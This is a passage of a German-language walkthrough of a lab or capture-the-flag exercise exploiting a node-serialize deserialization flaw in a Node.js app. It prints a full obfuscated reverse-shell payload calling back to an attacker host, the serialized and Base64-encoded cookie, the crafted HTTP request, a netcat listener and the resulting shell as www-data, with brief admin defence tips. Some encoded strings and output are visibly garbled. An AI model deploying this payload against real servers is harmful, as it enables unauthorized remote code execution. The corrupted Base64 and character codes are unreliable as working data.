**Analyse:** Der Befehl `ll` (ein Alias für `ls -l` oder `ls -alF` auf vielen Systemen) listet den Inhalt des aktuellen Verzeichnisses (`~/Hackingtools`) auf und zeigt das neu geklonte Verzeichnis `Node.Js-Security-Course`.
**Bewertung:** Bestätigt das erfolgreiche Klonen des Repositories.
**Empfehlung (Pentester):** Navigieren Sie in das Verzeichnis `Node.Js-Security-Course`.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich.
Usage: nodejsshell.py
**Analyse:** Innerhalb des geklonten Repositories wird das Python2-Skript `nodejsshell.py` mit der Option `-h` (Hilfe) aufgerufen. Die Ausgabe zeigt, dass das Skript zwei Argumente erwartet: die IP-Adresse des Angreifers (Listener Host, `LHST`) und den Port des Listeners (`LPRT`).
**Bewertung:** Dieses Skript scheint speziell dafür entwickelt worden zu sein, einen Payload für eine Node.js-Reverse-Shell zu generieren, der wahrscheinlich die `node-serialize`-Schwachstelle ausnutzt.
**Empfehlung (Pentester):** Verwenden Sie das Skript, um den Payload mit Ihrer eigenen IP-Adresse und einem gewählten Port zu generieren.
**Empfehlung (Admin):** Verstehen Sie, dass Angreifer oft fertige Tools und Skripte verwenden, um bekannte Schwachstellen auszunutzen.
[+] LHOST = 192.168.2.199 [+] LPORT = 4444 [+] Encoding eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,50,46,49,57,57,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
**Analyse:** Das Skript `nodejsshell.py` wird mit der IP des Angreifers (`192.168.2.199`) und Port `4444` aufgerufen. Es gibt die verwendete IP und den Port aus und generiert dann einen Payload. Der Payload ist JavaScript-Code, der eine Reverse Shell zum angegebenen Host und Port aufbaut. Der Code ist obfuskiert durch `String.fromCharCode(...)`, um die direkte Lesbarkeit zu erschweren.
**Bewertung:** Das Skript hat erfolgreich einen funktionierenden Reverse-Shell-Payload generiert. Die Obfuskierung ist eine gängige Technik, um einfache Filter oder Intrusion Detection Systeme zu umgehen.
**Empfehlung (Pentester):** Kopieren Sie den generierten Payload (`eval(String.fromCharCode(...))`). Dieser muss nun in die Struktur eingebettet werden, die von `node-serialize` erwartet wird, und dann Base64-kodiert werden, bevor er in den Cookie eingefügt wird.
**Empfehlung (Admin):** Network Intrusion Detection/Prevention Systeme (NIDS/NIPS) sollten Signaturen für bekannte Shell-Payloads und Obfuskierungstechniken haben. Egress-Filtering (Kontrolle ausgehender Verbindungen) kann helfen, Reverse-Shell-Verbindungen zu blockieren.
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,50,46,49,57,57,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,5٣,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"} nur den Teil innerhalb der KLammern in "to base64" von Cyberchief.org convertieren lassen: eyJyY2UiiJfJCRRF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzSwxMTAsMTAxLDExNiwzSw0MSw1SwxMCwxMTgsTcsMTE0LDMyLDExNSwxMTIsTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsTcsMTE5LDExMCw1SwxMCw3Miw3Sw4Myw4NCw2MSwzNCw0Sw1Nyw1MCw0Niw0Sw1NCw1Niw0Niw1MCw0Niw0Sw1Nyw1NywzNCw1SwxMCw4MCw3Sw4Miw4NCw2MSwzNCw1Miw1Miw1Miw1MiwzNCw1SwxMCw4NCw3Myw3Nyw2Sw3Sw4NSw4NCw2MSwzNCw1Myw0Cw0Cw0CwzNCw1SwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsTksMTExLDExMCwxMTYsTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsTksMTExLDExMCwxMTYsTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1SwzMiwxMjUsMTAsMTAyLDExNywxMTAsTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsTcsMTE0LDMyLDk5LDEwCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsDMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwCwxMDUsMTAxLDExMCwxMTYsNDYsTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3Sw4Miw4NCw0NCwzMiw3Miw3Sw4Myw4NCw0NCwzMiwxMDIsMTE3LDExMCw5SwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExSwxMTAsNDAsMzksNDcsTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsTksMTE2LDEwMSwxMDAsMzMsTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1SwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5SwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzSw0NCwxMDIsMTE3LDExMCw5SwxMTYsMTA1LDExMSwxMTAsNDAsTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwCw0MSwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0MCwzNCw2CwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5SwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1SwxMCwzMiwzMiwzMiwzMiw5SwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzSw0NCwzMiwxMDIsMTE3LDExMCw5SwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5Sw0MCw3Miw3Sw4Myw4NCw0NCw4MCw3Sw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2Sw3Sw4NSw4NCw0MSw1SwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ
**Analyse:** Hier wird der generierte JavaScript-Payload (`eval(...)`) in die spezifische Struktur eingebettet, die von der `node-serialize`-Schwachstelle erwartet wird. Der gesamte Ausdruck `function (){...}()` wird als Wert für den Schlüssel `"rce"` in einem JSON-Objekt platziert. Der spezielle String `_$$ND_FUNC$$` signalisiert `node-serialize`, dass der folgende String als Funktion interpretiert und sofort ausgeführt werden soll (Immediately Invoked Function Expression - IIFE). Anschließend wird dieses gesamte JSON-Objekt (`{"rce":"_$$ND_FUNC$$..."}`) mit einem Tool wie CyberChef oder einem Skript Base64-kodiert.
**Bewertung:** Dies ist der entscheidende Schritt zur Vorbereitung des Exploits. Der resultierende Base64-String (`eyJyY...ifQ`) enthält den schädlichen Payload in der korrekten Struktur, um bei der Deserialisierung durch `node-serialize` ausgeführt zu werden.
**Empfehlung (Pentester):** Ersetzen Sie den Wert des `profile`-Cookies in der nächsten HTTP-Anfrage (z.B. mit Burp Suite) durch diesen Base64-kodierten Payload. Starten Sie gleichzeitig einen Netcat-Listener auf Ihrem Angreifersystem auf Port 4444, um die eingehende Reverse Shell abzufangen.
**Empfehlung (Admin):** Die beste Verteidigung ist, die Verwendung von `node-serialize` zu vermeiden oder es sicher zu aktualisieren. Input-Validierung auf Cookie-Werte kann helfen, solche Angriffe zu erschweren, ist aber schwierig zuverlässig umzusetzen, wenn Serialisierung im Spiel ist.
Nachdem wir die Schwachstelle identifiziert und den Payload vorbereitet haben, versuchen wir nun, den initialen Zugriff auf das System zu erlangen, indem wir den manipulierten Cookie senden und auf eine Reverse Shell warten.
**Kurzbeschreibung:** Die Anwendung auf Port 3000 verwendet eine veraltete Version der `node-serialize`-Bibliothek (0.0.4). Diese Version ist anfällig für Remote Code Execution (RCE), da sie Benutzereingaben (hier über den `profile`-Cookie) ohne ausreichende Validierung deserialisiert. Ein Angreifer kann einen speziell präparierten Payload erstellen, der bei der Deserialisierung auf dem Server ausgeführt wird.
**Voraussetzungen:**
**Schritt 1: Vorbereiten des Payloads (bereits erfolgt)**
Der JavaScript-Reverse-Shell-Payload wurde mit `nodejsshell.py` generiert, in die `node-serialize`-IIFE-Struktur eingebettet und Base64-kodiert: `eyJyY...ifQ`.
**Schritt 2: Starten des Listeners**
Auf dem Angreifersystem (192.168.2.199) wird ein Netcat-Listener auf Port 4444 gestartet.
listening on [any] 4444 ...
**Analyse:** Der Befehl `nc -lvnp 4444` startet Netcat im Listen-Modus (`-l`). `-v` sorgt für eine ausführlichere Ausgabe, `-n` verhindert DNS-Lookups und `-p 4444` gibt den zu verwendenden Port an. Netcat wartet nun auf eingehende Verbindungen auf diesem Port.
**Bewertung:** Der Listener ist bereit, die Reverse Shell vom Zielsystem zu empfangen, sobald der Payload erfolgreich ausgeführt wird.
**Empfehlung (Pentester):** Stellen Sie sicher, dass keine Firewall auf dem Angreifersystem die eingehende Verbindung auf Port 4444 blockiert.
**Empfehlung (Admin):** Egress-Filtering auf dem Server kann ausgehende Verbindungen zu unbekannten Ports blockieren und so Reverse Shells verhindern oder erschweren.
**Schritt 3: Senden des manipulierten Cookies (mit Burp Suite)**
Eine normale Anfrage an `http://192.168.2.128:3000/` wird abgefangen und der Wert des `profile`-Cookies durch den vorbereiteten Base64-Payload ersetzt.
Burpsuite Request hab den jwt leicht verändert um eine Fehlermeldung zu provozieren: ~ GET / HTTP/1.1 Host: 192.168.2.128:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web p,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: keep-alive Cookie: profile=eyJ1c2VybmFtZSI6ImNoYXJsaWUiLCJjb3VudHJ5IjoiZWV1dSIsImNpdHkiiJ3YXNoaW5ndG9udddIn0%3D Upgrade-Insecure-Requests: 1 Sec-GPC: 1 If-None-Match: W/"b-X453LUbwKdge2BUCoR8u6eN7M"
**Analyse:** Diese Burp Suite Ausgabe zeigt eine *frühere* Anfrage, bei der der Cookie nur leicht verändert wurde (`...ddIn0%3D`), um die Fehlermeldung zu provozieren, die die `node-serialize`-Nutzung bestätigte.
**Bewertung:** Wichtig zur Bestätigung der Schwachstelle, aber nicht der eigentliche Exploit-Versuch.
**Empfehlung (Pentester):** Ersetzen Sie den hier gezeigten Cookie-Wert durch den vollständigen Base64-kodierten RCE-Payload.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Fehlerbehandlung und Cookie-Sicherheit.
Response HTTP/1.1 500 Internal Server Error X-Powered-By: Express Content-Security-Policy: default-src 'none' X-Content-Type-ptions: nosniff Content-Type: text/html; charset=utf-8 Content-Length: 1079 Date: Thu, 12 Sep 2024 20:43:08 GMT Connection: keep-alive Keep-Alive: timeout=5 ErrorSyntaxError: Unexpected end of JSN input
at JSN.parse (< ;anonymous>)
at bject.exports.unserialize (/var/www/html/node_modules/node-serialize/lib/serialize.js:62:16)
at /var/www/html/server.js:10:29
at Layer.handle [as handle_request] (/var/www/htm l/node_modules/express/lib/router/layer.js:95:5)
at next (/var/ww w/html/node_modules/express/lib/router/route.js:137:13)
at Route. dispatch (/var/www/html/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/var/www/html/node_modules/express/lib /router/layer.js:95:5)
at /var/www/html/node_modules/express/lib/ router/index.js:281:22
at Function.process_params (/var/www/html/ node_modules/express/lib/router/index.js:335:12)
at next (/var/ww w/html/node_modules/express/lib/router/index.js:275:10)
**Analyse:** Dies ist die Antwort auf die vorherige Anfrage mit dem leicht modifizierten Cookie. Sie zeigt den `HTTP/1.1 500 Internal Server Error` und den detaillierten Stack-Trace, der die Schwachstelle bestätigt hat. Beachten Sie die maskierten HTML-Zeichen .
**Bewertung:** Bestätigung der Verwundbarkeit und Offenlegung interner Pfade.
**Empfehlung (Pentester/Admin):** Siehe vorherige Empfehlungen.
Request GET / HTTP/1.1 Host: 192.168.2.128:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web p,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: keep-alive Cookie: profile=eyJyY2UiiJfJCRRF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzSwxMTAsMTAxLDExNiwzSw0MSw1SwxMCwxMTgsTcsMTE0LDMyLDExNSwxMTIsTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsTcsMTE5LDExMCw1SwxMCw3Miw3Sw4Myw4NCw2MSwzNCw0Sw1Nyw1MCw0Niw0Sw1NCw1Niw0Niw1MCw0Niw0Sw1Nyw1NywzNCw1SwxMCw4MCw3Sw4Miw4NCw2MSwzNCw1Miw1Miw1Miw1MiwzNCw1SwxMCw4NCw3Myw3Nyw2Sw3Sw4NSw4NCw2MSwzNCw1Myw0Cw0Cw0CwzNCw1SwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsTksMTExLDExMCwxMTYsTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsTksMTExLDExMCwxMTYsTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1SwzMiwxMjUsMTAsMTAyLDExNywxMTAsTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsTcsMTE0LDMyLDk5LDEwCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsDMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwCwxMDUsMTAxLDExMCwxMTYsNDYsTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3Sw4Miw4NCw0NCwzMiw3Miw3Sw4Myw4NCw0NCwzMiwxMDIsMTE3LDExMCw5SwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExSwxMTAsNDAsMzksNDcsTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsTksMTE2LDEwMSwxMDAsMzMsTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1SwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5SwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzSw0NCwxMDIsMTE3LDExMCw5SwxMTYsMTA1LDExMSwxMTAsNDAsTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwCw0MSwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0MCwzNCw2CwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5SwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1SwxMCwzMiwzMiwzMiwzMiw5SwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzSw0NCwzMiwxMDIsMTE3LDExMCw5SwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5Sw0MCw3Miw3Sw4Myw4NCw0NCw4MCw3Sw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2Sw3Sw4NSw4NCw0MSw1SwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ Response
**Analyse:** Dies ist die eigentliche Exploit-Anfrage. Eine GET-Anfrage wird an `/` auf Port 3000 gesendet. Der entscheidende Teil ist der `Cookie`-Header, dessen `profile`-Wert nun durch den langen Base64-kodierten RCE-Payload ersetzt wurde.
**Bewertung:** Dies ist der Moment der Wahrheit. Wenn alles korrekt vorbereitet wurde, wird der Server diesen Payload deserialisieren und die darin enthaltene JavaScript-Funktion ausführen, die die Reverse Shell startet.
**Empfehlung (Pentester):** Senden Sie diese Anfrage ab und beobachten Sie den Netcat-Listener.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Verhinderung von Deserialisierungsangriffen.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.128] 52848 Connected! id uid=33(www-data) gid=33(www-data) grupos=33(www-data)
**Analyse:** Der Netcat-Listener zeigt eine eingehende Verbindung (`connect to [192.168.2.199] from ... [192.168.2.128]`) vom Zielserver. Die Meldung `Connected!` (die Teil des Payloads war) wird ausgegeben. Der Pentester führt sofort den Befehl `id` aus.
**Bewertung:** **Fantastisch! Der Exploit war erfolgreich!** Wir haben eine Reverse Shell zum Zielsystem erhalten. Der `id`-Befehl bestätigt, dass wir als Benutzer `www-data` (UID 33, GID 33) angemeldet sind. Dies ist typischerweise der Benutzer, unter dem Webserver wie Apache oder Node.js-Anwendungen laufen.
**Empfehlung (Pentester):** Stabilisieren Sie die Shell (z.B. mit Python pty oder `script /dev/null -c bash`), führen Sie grundlegende Enumeration durch (`whoami`, `hostname`, `pwd`, `ls -la`, `ip a`, `ps aux`), und suchen Sie nach Wegen zur Privilegienerweiterung.
